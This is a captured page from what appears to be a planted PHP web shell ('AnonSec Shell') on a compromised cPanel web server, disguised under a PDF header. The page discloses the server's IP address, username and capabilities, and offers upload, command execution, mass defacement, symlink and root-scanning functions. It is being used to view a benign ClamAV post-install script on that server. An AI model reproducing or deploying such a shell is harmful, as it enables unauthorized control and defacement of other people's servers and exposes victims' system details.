%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/var/lib/dpkg/info/cpanel-clamav.postinst
#!/bin/sh

set -e


if [ ! -z "$PBUILDER_OPERATION" ]; then
    echo "Skipping post-install for clamav due to PBUILDER_OPERATION environment variable";
    exit 0
fi;

## <asset scriplets/post>


set -e

CLAMDIR=/usr/local/cpanel/3rdparty/share/clamav
FIRSTDIR=$CLAMDIR/.first-install

USER="clamav"
GROUP=$USER

if [ -z $RHEL ]; then RHEL=0; fi;
PREFIX=/usr/local/cpanel/3rdparty

runPost_install() {
    echo "runPost_install"
    # Remove previous freshclam pointing to old binary. This removes any crontab line with "freshclam", not path specific
    ${PREFIX}/bin/clamav_setupcrontab off

    # Re-enable the freshclam in crontab, using the correct path, /ulc/3rdparty/bin
    ${PREFIX}/bin/clamav_setupcrontab

}

runPost_all() {
    echo "runPost_all"

    # enforce ownership & perms for clamdir
    chown ${USER}:${GROUP} ${CLAMDIR}
    chmod 0755 ${CLAMDIR}

    # Register the plugin in WHM for installs and upgrades
    /usr/local/cpanel/bin/register_appconfig /usr/local/cpanel/3rdparty/share/clamav/clamavconnector.conf ||:

    # Enable clamav icons in cPanel
    /bin/mkdir -p /var/cpanel/dynamicui ||:
    chmod 755 /var/cpanel/dynamicui ||:
    chown root: /var/cpanel/dynamicui ||:
    /bin/touch /var/cpanel/dynamicui/clamav ||:
    chmod 644 /var/cpanel/dynamicui/clamav ||:

    # This will grab the clamav virus definitions from mirrors
    ${PREFIX}/bin/freshclam ||:

    # Include clamd entry in "/etc/chkserv.d/chkservd.conf" for clamd monitoring service
    chkservd_conf="/etc/chkserv.d/chkservd.conf"

    if [ ! -e $chkservd_conf ]; then
       echo "Missing '$chkservd_conf' file, running bin/chkservd-install"
       /usr/local/cpanel/bin/chkservd-install ||:
    fi

    if [ -e $chkservd_conf ]; then
        tmpfile="${chkservd_conf}.tmp"
        echo "Adding clamd to chkservd"
        grep -v '^clamd:[0-1]' $chkservd_conf > $tmpfile
        echo 'clamd:1' >> $tmpfile
        # preserve permissions and ownership
        cat $tmpfile > $chkservd_conf
        rm -f $tmpfile
    else
      echo "Warning: 'clamd' could not be added for chkservd monitoring -- expected config file '$chkservd_conf' does not exist."
    fi

    /usr/local/cpanel/scripts/restartsrv_clamd --no-verbose --stop ||:

    # If exim is installed and not disabled then update its configuration to use clamd
    if [ -e '/usr/sbin/exim' -a ! -e '/etc/eximdisable' ]; then
        /usr/local/cpanel/scripts/buildeximconf ||:
        /usr/local/cpanel/scripts/restartsrv_exim --no-verbose ||:
    fi

    # systemd needs to reload the service file #
    /usr/bin/systemctl daemon-reload
    # enable the service ( only c7 use a service )
    /usr/bin/systemctl enable clamd.service
    # Debian will setup the service for us.

    # restart the clamd service
    echo "scripts/restartsrv_clamd"
    /usr/local/cpanel/scripts/restartsrv_clamd --no-verbose ||:
    # resume the monitoring
    /usr/local/cpanel/3rdparty/bin/perl -MCpanel::Chkservd::Tiny -e'Cpanel::Chkservd::Tiny::resume_service("clamd")' ||:
}

## </asset>


case "$1" in
  configure)
    if [ "x$2" = 'x' ]; then
        runPost_install;
    fi
    runPost_all;
  ;;
esac

exit 0

Anon7 - 2022
AnonSec Team